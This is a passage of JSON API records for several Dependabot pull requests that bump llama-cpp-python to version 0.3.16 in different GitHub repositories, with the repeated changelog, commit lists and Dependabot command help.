\u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.2.90\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/ConnectionMaster/bugbug/pull/917","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ConnectionMaster%2Fbugbug/issues/917","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/917/packages"},{"uuid":"2812985038","node_id":"PR_kwDOPsZyDs6nqr7O","number":8,"state":"closed","title":"chore(deps): bump llama-cpp-python from 0.2.90 to 0.3.16 in /cloud-deploy","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2025-09-10T21:18:58.000Z","author_association":"NONE","state_reason":null,"created_at":"2025-09-09T19:03:54.000Z","updated_at":"2025-09-10T21:18:58.000Z","time_to_close":94504,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":"/cloud-deploy","ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.2.90 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.2.90\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/ForceSensitiveSaiyan/guidant/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ForceSensitiveSaiyan%2Fguidant/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"},{"uuid":"2803556416","node_id":"PR_kwDOPqoFRM6nGuBA","number":1,"state":"closed","title":"Bump llama-cpp-python from 0.3.1 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":"2025-09-05T22:59:52.000Z","author_association":"CONTRIBUTOR","state_reason":null,"created_at":"2025-09-05T20:10:34.000Z","updated_at":"2025-09-05T22:59:52.000Z","time_to_close":10158,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"llama-cpp-python","old_version":"0.3.1","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.1 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.1...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.3.1\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/AdilMubeen/graphRag/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AdilMubeen%2FgraphRag/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"},{"uuid":"3371355948","node_id":"PR_kwDOB3H77M6mN0jk","number":5231,"state":"open","title":"Bump llama-cpp-python from 0.2.90 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-09-01T06:17:53.000Z","updated_at":"2026-01-22T12:03:17.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.2.90 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp 